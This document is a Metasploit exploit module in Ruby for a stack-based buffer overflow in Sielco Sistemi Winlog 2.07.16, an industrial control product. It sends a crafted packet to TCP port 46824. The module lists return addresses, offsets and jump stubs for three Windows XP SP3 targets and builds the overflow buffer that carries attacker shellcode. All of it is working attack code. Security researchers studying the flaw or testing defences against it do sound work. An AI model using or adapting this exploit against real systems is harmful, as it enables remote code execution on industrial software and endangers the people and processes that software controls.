Sielco Sistemi Winlog 2.07.16 Buffer Overflow

`require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sielco Sistemi Winlog <= 2.07.16',  
'Description' => %q{  
This module exploits a stack based buffer overflow  
found in Sielco Sistemi Winlog <= 2.07.16. The  
overflow is triggered during the parsing of a  
maliciously crafted packet  
},  
'Author' => [ 'James Fitts' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>  
[  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 150,  
'BadChars' => "\x00\x0a\x0d\x20",  
'DisableNops' => 'True',  
# add esp, -5500  
'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff",  
'Compat' =>  
{  
'SymbolLookup' => 'ws2ord',  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Windows XP SP3 EN (Automatic Washing System Demo)',  
{  
# vcldb40.bpl  
# jmp esp  
'Ret' => 0x46035f8b,  
'Offset' => 160,  
'jmp' => "\xe9\x56\xff\xff\xff",  
}  
],  
[  
'Windows XP SP3 EN (Car Simulation)',  
{  
# vcl40.bpl  
# jmp esp  
'Ret' => 0x4003eb6b,  
'Offset' => 175,  
'jmp' => "\xe9\x46\xff\xff\xff",  
}  
],  
[   
'Windows XP SP3 EN (Ceramics Kiln)',   
{   
# ter19.dll  
# push esp/ retn  
'Ret' => 0x258b4432,  
'Offset' => 176,  
'jmp' => "\xe9\x46\xff\xff\xff",  
}   
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 26 2012'))  
  
register_options([Opt::RPORT(46824)], self.class)  
end  
  
def exploit  
connect  
  
boom = rand_text_alpha_upper(20)  
boom << 'x'  
boom << rand_text_alpha_upper(target['Offset'])  
boom << [target.ret].pack('V')  
boom << "\x41" * 4  
boom << target['jmp']  
boom << "\xcc" * (281 - boom.length)  
  
boom[22,4] = "\x41" * 4  
boom[26,payload.encoded.length] = payload.encoded  
  
print_status("Trying target #{target.name}...")  
sock.put(boom)  
  
handler  
end  
  
end  
`